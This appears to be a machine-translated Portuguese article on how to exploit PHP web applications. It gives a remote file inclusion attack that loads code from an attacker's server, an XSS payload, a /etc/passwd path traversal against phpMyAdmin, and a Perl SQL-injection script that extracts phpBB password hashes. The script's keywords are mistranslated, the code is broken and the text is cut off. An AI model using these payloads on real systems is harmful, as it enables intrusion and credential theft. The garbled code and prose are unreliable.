Análise comum de vulnerabilidades de páginas PHP e solução de problemas relacionados
Autor：Eve Cole
Data da Última Atualização：2009-06-02 18:07:08
A julgar pela segurança da rede atual, a vulnerabilidade da página WEB com a qual todos estão mais preocupados e mais expostos deveria ser o ASP. Nesse aspecto, Xiaozhu é um especialista e não tenho voz a dizer. também são problemas de vulnerabilidade de segurança muito sérios, mas não há muitos artigos nesta área. Aqui, vamos discutir brevemente as vulnerabilidades relacionadas às páginas PHP.
Fiz um resumo das vulnerabilidades comuns atuais do PHP, que são divididas aproximadamente nas seguintes categorias: incluindo vulnerabilidades de arquivos, vulnerabilidades de execução de comandos de script, vulnerabilidades de vazamento de arquivos, vulnerabilidades de injeção de SQL, etc. Falsificação de COOKIE, não vou discutir isso aqui, há muita informação sobre isso online. Então, vamos analisar como explorar essas vulnerabilidades uma por uma!
Primeiro, vamos discutir a vulnerabilidade do arquivo incluído. Esta vulnerabilidade deve ser considerada exclusiva do PHP. Isso se deve ao processamento insuficiente de dados maliciosos fornecidos externamente, o que permite que invasores remotos explorem essas vulnerabilidades para executar comandos arbitrários no sistema com processos WEB. permissões. Comando. Vejamos um exemplo: Suponha que exista esse código em a.php:
include($include."/xxx.php");
?>
Neste código, $include geralmente é um caminho que foi configurado, mas podemos atingir o propósito do ataque construindo nós mesmos um caminho. Por exemplo, enviamos: a.php?include=http://web/b. php, esta web é o espaço que usamos para atacar. Claro, b.php é o código que usamos para atacar. Podemos escrever algo como: passthru("/bin/ls /etc") no código b.php ; Desta forma, você pode realizar alguns ataques intencionais (Nota: O servidor web não deve ser capaz de executar código PHP, caso contrário ocorrerão problemas. Para detalhes relevantes, você pode ver << Como atacar vulnerabilidades comuns em programas PHP >> ). Em termos desta vulnerabilidade, existem muitos problemas, por exemplo: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart e muitos mais.
A seguir, vamos dar uma olhada na vulnerabilidade de execução de comandos de script. Isso se deve à falta de filtragem suficiente dos parâmetros URI enviados pelos usuários. O envio de dados contendo código HTML malicioso pode desencadear um ataque de script entre sites e obter informações confidenciais do. usuário alvo. Vamos dar também um exemplo: a página index.php no PHP Transparent PHP 4.3.1 ou inferior não possui filtragem suficiente de PHPSESSID. Podemos atingir o objetivo do ataque através desse código:
http://web/index.php?PHPSESSID =">No script, podemos construir funções para obter algumas informações confidenciais dos usuários. Existem relativamente poucas vulnerabilidades nesse sentido. Além do PHP Transparent, existem também: PHP- Nuke, phpBB, Classificados PHP, PHPix, Ultimate PHP Board, etc.
Então, vamos dar uma olhada na vulnerabilidade de divulgação de arquivos. Essa vulnerabilidade se deve à falta de filtragem suficiente dos parâmetros enviados pelo usuário. Os invasores remotos podem usá-la para realizar ataques de passagem de diretório e obter algumas informações confidenciais. Tomemos o phpMyAdmin recentemente descoberto como exemplo. No phpMyAdmin, a página export.php não filtra completamente o parâmetro 'what' enviado pelo usuário. Um invasor remoto pode ignorar isso enviando dados contendo vários caracteres '../'. Supere as restrições WEB ROOT e visualize qualquer informação de arquivo no sistema com permissões WEB. Por exemplo, inserir o seguinte endereço: export.php?what=../../../../../../etc/passwd%00 pode atingir o objetivo de vazamento de arquivo. é relativamente Existem mais: myPHPNuke, McNews, etc.
Finalmente, voltamos ao lugar mais emocionante. Pense em como é divertido usar injeção SQL em páginas asp. No passado, tínhamos que injetar manualmente até que Xiaozhu descobrisse o "livro secreto de injeção SQL" (hehe). então Após o lançamento do NBSI, nossa Aliança NB realmente fez uma grande diferença. Ajudamos a encontrar brechas em grandes sites como CSDN, Monopoly Forum e China Channel (não vou entrar em mais bobagens sobre isso, é um pouco. fora do tópico...). Vamos voltar ao assunto. Na verdade, a injeção de SQL em asp é praticamente a mesma que a injeção de SQL em php. e outras funções são basicamente Nada mudou. Na verdade, quando todos veem a injeção de SQL no PHP, todos pensam em PHP-NUKE e PHPBB. Sim, como diz o ditado, você pode marcar grandes pontos em fóruns como Dongwang. o rei das vulnerabilidades no mundo ASP Isso não quer dizer que a segurança de seu fórum seja muito fraca, mas que ele é muito conhecido. Quanto mais outras pessoas o usarem, mais pessoas irão pesquisá-lo e mais segurança. buracos serão descobertos. O mesmo é verdade para o PHPBB, e agora um grande número de pessoas que usam PHP para construir um fórum, geralmente escolhem o PHPBB. Suas vulnerabilidades estão sempre surgindo, desde as primeiras vulnerabilidades descobertas na versão 1.4.0 do phpBB. do phpBB.com para o groupcp.php mais recente na versão phpBB 2.0.6, bem como search.php, profile.php, viewtopic.php, etc. que foram descobertos antes, provavelmente há uma dúzia ou mais. sempre levou algumas pessoas a usá-lo como um produto experimental ao estudar as vulnerabilidades do PHP, as chamadas. Depois de muita prática, acredito que o PHPBB ficará cada vez melhor no futuro.
Ok, vamos analisar a causa da vulnerabilidade. Tomemos como exemplo a página viewtopic.php Ao chamar viewtopic.php, o "topic_id" é obtido diretamente da solicitação GET e passado para o comando de consulta SQL sem executá-lo. No processamento de filtragem, o invasor pode enviar uma string SQL especial para obter a senha MD5. A obtenção dessas informações de senha pode ser usada para login automático ou quebra de força bruta. (Não acho que alguém gostaria de fazer cracking de força bruta, a menos que haja um motivo particularmente importante). Vamos primeiro dar uma olhada no código-fonte relevante:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['tópico']);
# }
Do exposto acima, podemos ver que se o view=newest enviado e sid estiver definido como um valor, o código de consulta executado será semelhante ao seguinte (se você não viu o código-fonte do PHPBB, sugiro que você o leia e depois venha aqui Olha, os sistemas afetados são: phpBB 2.0.5 e phpBB 2.0.4).
# $sql = "SELECIONE p.post_id
# FROM " .POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# ONDE s.session_id = '$session_id'
# E u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# E p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMITE 1";
Rick forneceu o seguinte código de teste:
use IO::Soquete;
$remote = shift || 'localhost';
$view_topic = mudança || '/phpBB2/viewtopic.php';
$uid = mudança || 2;
$porta = 80;
$dbtype = 'mysql4'; # mysql4 ou pgsql
print "Tentando obter hash de senha para uid $uid server $remote dbtype: $dbtypen";
$p = "";
for($índice=1; $índice<=32; $índice++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $porta,
Proto => "tcp",
Tipo => SOCK_STREAM)
ou morra "Não foi possível conectar-se a $remote:$port : $@n ";
$str = "GET $view_topic" .sid=1&topic_id=-1" .
imprimir $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n" # substitua por pgsql ou remova-o
imprimir $socket "Host: $remotenn";
while ($resposta = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Corresponde ao local: viewtopic.php?p=#
{
$p.=chr();
}
}
fechar($soquete);
}
print "nMD5 Hash para uid $uid é $pn";
# random encode str.
subcódigo_aleatório
{
$str = mudança;
$ret = "";
para($i=0; $i
